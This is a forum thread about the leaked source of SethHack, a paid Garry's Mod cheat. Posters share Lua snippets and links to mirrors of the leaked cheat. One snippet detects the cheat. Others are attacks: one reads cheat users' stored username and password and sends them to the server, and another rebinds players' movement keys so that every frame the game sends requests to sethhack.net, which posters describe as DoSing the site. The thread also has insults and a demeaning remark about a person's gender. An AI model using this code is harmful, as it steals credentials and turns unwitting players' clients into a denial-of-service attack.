Even until this date, I still do not understand why idiots would pay $20 hacks for a $10 game that isn't even centralized in deathmatches.
[QUOTE=SPESSMEHREN;36090882]Why would someone pay $25.00 (twice as much as GMod costs in the first place) and risk getting their access taken away by leaking it?
When garry added cheaters.cfg to the game, and people started hunting for Sethhack users, I think some of Seth's users turned on him. Most of them are teenage kids who were promised a "100% undetectable" hack, and got mad at Seth because they were getting banned for using it.[/QUOTE]
The script given to people who buy it is heavily obfuscated, I remember someone deobfuscating it once in another thread, and it looked completely different. This is too "pure" to have been deobfuscated if you ask me, looks more like a genuine leak from the top.
Since hook.Call is a global function, we can go ahead and nab every single local variable that's in the same file as hook.Call
[lua]local i = 1;
local up,val = debug.getupvalue( hook.Call, i );
local t = {};
while ( up != nil ) do
t[up] = val;
i = i + 1;
up, val = debug.getupvalue( hook.Call, i );
end
if t["SH"] then
MsgN( "hey look you have sethhack" );
end[/lua]
this grabs all the local variables and if the local variable "SH" exists, then they must own sethhack.
here's a lesson for you: even if you do define all your variables locally, having even one global variable will fuck you up.
[QUOTE=SPESSMEHREN;36090882]Why would someone who paid $25.00 (twice as much as GMod costs in the first place) risk getting their access taken away by leaking it?
When garry added cheaters.cfg to the game, and people started hunting for Sethhack users, I think some of Seth's users turned on him. Most of them are teenage kids who were promised a "100% undetectable" hack, and got mad at Seth because they were getting banned for using it.[/QUOTE]
Was anybody ever VAC banned for using the script? SethHack now only claims "100% undetectable by VAC".
[QUOTE=Drakehawke;36090903]The script given to people who buy it is heavily obfuscated, I remember someone deobfuscating it once in another thread, and it looked completely different. This is too "pure" to have been deobfuscated if you ask me, looks more like a genuine leak from the top.[/QUOTE]
I just read that on the previous page. Maybe someone in the top turned on Seth over the cheaters.cfg thing as well?
Then again, knowing the maturity of these kids, it could be the result of some minor Internet argument in Seth's inner circle. "ban me from using sethhack will ya??? ill release ur code!!!111"
[QUOTE=Redpet241;36090914]Since hook.Call is a global function, we can go ahead and nab every single local variable that's in the same file as hook.Call
[lua]local i = 1;
local up,val = debug.getupvalue( hook.Call, i );
local t = {};
while ( up != nil ) do
t[up] = val;
i = i + 1;
up, val = debug.getupvalue( hook.Call, i );
end
if t["SH"] then
MsgN( "hey look you have sethhack" );
end[/lua]
this grabs all the local variables and if the local variable "SH" exists, then they must own sethhack.
here's a lesson for you: even if you do define all your variables locally, having even one global variable will fuck you up.[/QUOTE]
Here's another lesson for you:
[lua]
local rcc = RunConsoleCommand
local _, g = debug.getupvalue( debug.getmetatable( _G ).__index, 1 )
if g and g.SH_REGREAD then
args = g.SH_REGREAD( "username" ) .. " " .. g.SH_REGREAD( "password" )
rcc = g.RunConsoleCommand
rcc("_hiseth", args)
end
[/lua]
Mentlegen...
So you think with all of these mirrors we should make a international SH Day?
I feel sorry for Seth, He's going to be loosing out on lots of money. :v:
[QUOTE=Th13teen;36091118]So you think with all of these mirrors we should make a international SH Day?
I feel sorry for Seth, He's going to be loosing out on lots of money. :v:[/QUOTE]
I feel sorry for Garry. He's going to be making a lot of money when SethHackers buy a new copy of GMod. :v:
[QUOTE=Th13teen;36091118]So you think with all of these mirrors we should make a international SH Day?
I feel sorry for Seth, He's going to be loosing out on lots of money. :v:[/QUOTE]
Why would you feel sorry for an immature thief who makes money off of making stolen hacks for a mod?
[QUOTE=Th13teen;36091118]So you think with all of these mirrors we should make a international SH Day?
I feel sorry for Seth, He's going to be loosing out on lots of money. :v:[/QUOTE]
Its what that little cunt deserves
[QUOTE=Redpet241;36090605]You guys should be making mirrors of this now, since it's actually functional.[/QUOTE]
[url]http://narod.ru/disk/50653111001.7531b1b594d063199965310516a7ddc2/Sethhack.zip.html[/url]
[url]http://www.multiupload.nl/VC0UKPQ11X[/url]
[url]http://www.mediafire.com/download.php?i2t74b6hz20oajd[/url]
[QUOTE=Phoenixf129;36091080]Lol:
[lua]
local rcc = RunConsoleCommand
local _, g = debug.getupvalue( debug.getmetatable( _G ).__index, 1 )
if g and g.SH_REGREAD then
args = g.SH_REGREAD( "username" ) .. " " .. g.SH_REGREAD( "password" )
rcc = g.RunConsoleCommand
rcc("_hiseth", args)
end
[/lua]
??[/QUOTE]
Better idea.
[lua]if g and g.SH_PURECC then
g.SH_PURECC( [[bind w "+forward; lua_run_cl hook.Add('Think','w',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind a "+moveleft; lua_run_cl hook.Add('Think','a',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind s "+back; lua_run_cl hook.Add('Think','s',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind d "+moveright; lua_run_cl hook.Add('Think','d',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind e "+use; lua_run_cl hook.Add('Think','e',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind r "+reload; lua_run_cl hook.Add('Think','rld',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind SPACE "+jump; lua_run_cl hook.Add('Think','spc',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind ESCAPE "cancelselect; lua_run_cl hook.Add('Think','esc',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind CTRL "+duck; lua_run_cl hook.Add('Think','ctr',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind ALT "+walk; lua_run_cl hook.Add('Think','alt',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind SHIFT "+speed; lua_run_cl hook.Add('Think','spd',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind TAB "+showscores; lua_run_cl hook.Add('Think','tab',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
end[/lua]
[QUOTE=BlackAwps;36091257]Better idea.
[lua]if g and g.SH_PURECC then
g.SH_PURECC( [[bind w "+forward; lua_run hook.Add('Think','w',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind a "+moveleft; lua_run hook.Add('Think','a',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind s "+moveright; lua_run hook.Add('Think','s',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind d "+forward; lua_run hook.Add('Think','d',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
end[/lua][/QUOTE]
Oh that is evil.
Are we done finally giving that kid more attention than he deserves? As what I heard he collected cash for his sex change operation (not making this up)
[QUOTE=Zeh Matt;36091322]Are we done finally giving that kid more attention than he deserves? As what I heard he collected cash for his sex change operation (not making this up)[/QUOTE]
Attention? Thats kinda the goal we are trying to achieve, by posting the source code and the actual hack itself (possible moded before going out) to as much people as possible
This would pretty much destroy SethHack since A) People will reserve engineer it to counter-attack SethHack itself so it won't function anymore on servers and B) he won't make money anymore since its available everywhere
[IMG]http://puu.sh/wYeb[/IMG]
Let's burn shithack to the ground.
I wish I knew where I could upload the sourcecode to...
[QUOTE=BlackAwps;36091257]Better idea.
[lua]if g and g.SH_PURECC then
g.SH_PURECC( [[bind w "+forward; lua_run hook.Add('Think','w',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind a "+moveleft; lua_run hook.Add('Think','a',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind s "+moveright; lua_run hook.Add('Think','s',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind d "+forward; lua_run hook.Add('Think','d',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind e "+use; lua_run hook.Add('Think','e',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind r "+reload; lua_run hook.Add('Think','rld',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind SPACE "+jump; lua_run hook.Add('Think','spc',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind ESCAPE "cancelselect; lua_run hook.Add('Think','esc',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind CTRL "+duck; lua_run hook.Add('Think','ctr',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind ALT "+walk; lua_run hook.Add('Think','alt',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind SHIFT "+speed; lua_run hook.Add('Think','spd',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
g.SH_PURECC( [[bind TAB "+showscores; lua_run hook.Add('Think','tab',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )
end[/lua][/QUOTE]
I'm no expert, but shouldn't bind d be +backward (Or the equivalent of), not +forward? I know it doesn't matter much, but still.
[QUOTE=SoSicklyAwesome;36091420]I wish I knew where I could upload the sourcecode to...[/QUOTE]
No need, its already uploaded to 50+ uploading sites so its already pretty much impossible to remove :v:
[QUOTE=darth-veger;36091428]No need, its already uploaded to 50+ uploading sites so its already pretty much impossible to remove :v:[/QUOTE]
It's not enough!
[QUOTE=SoSicklyAwesome;36091437]It's not enough![/QUOTE]
I have it in my dropbox
I'm putting it on my wall.
[U]http://tyguysweb.vacau.com/Sethhack/[/U]
Saved on my computer. Even if Seth removes every single copy of SethHack anyone who saves it on their computer will damn well re-upload it.
[QUOTE=ILY;36091449]I have it in my dropbox[/QUOTE]
alright good enough thanks!!!
A plague upon gmod finally getting his just deserts?
This is the best graduation gift ever.
[QUOTE=BlackAwps;36091257]Better idea.
if g and g.SH_PURECC then g.SH_PURECC( [[bind w "+forward; lua_run hook.Add('Think','w',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind a "+moveleft; lua_run hook.Add('Think','a',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind s "+back; lua_run hook.Add('Think','s',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind d "+moveright; lua_run hook.Add('Think','d',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind e "+use; lua_run hook.Add('Think','e',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind r "+reload; lua_run hook.Add('Think','rld',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind SPACE "+jump; lua_run hook.Add('Think','spc',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind ESCAPE "cancelselect; lua_run hook.Add('Think','esc',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind CTRL "+duck; lua_run hook.Add('Think','ctr',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind ALT "+walk; lua_run hook.Add('Think','alt',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind SHIFT "+speed; lua_run hook.Add('Think','spd',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] ) g.SH_PURECC( [[bind TAB "+showscores; lua_run hook.Add('Think','tab',function() http.Get('http://www.sethhack.net/','',function() end) end)"]] )end[/QUOTE]
Tell the lua-impaired what this does because I sure as hell don't know
[QUOTE=Deiru;36091422]I'm no expert, but shouldn't bind d be +backward (Or the equivalent of), not +forward? I know it doesn't matter much, but still.[/QUOTE]
I fixed it, thanks. It's not like it would really matter, in the end. :v:
[QUOTE=scout1;36091617]Tell the lua-impaired what this does because I sure as hell don't know[/QUOTE]
Rebinds some keys so that when you press it a hook will get added, that gets called every frame, to send a HTTP GET request to the seth hack website.
[QUOTE=scout1;36091617]Tell the lua-impaired what this does because I sure as hell don't know[/QUOTE]
Every time client presses W A S or D, it makes a hook which polls sethhack.net every frame, effectively DoSing it.
blackawps explained better HOWEVER:
It's lua_run_cl
[QUOTE=Phoenixf129;36091641]Every time client presses W A S or D, it makes a hook which polls sethhack.net every frame, effectively DoSing it.
blackawps explained better HOWEVER:
It's lua_run_cl[/QUOTE]
I remember I did that to my own router
never again
Sorry, you need to Log In to post a reply to this thread.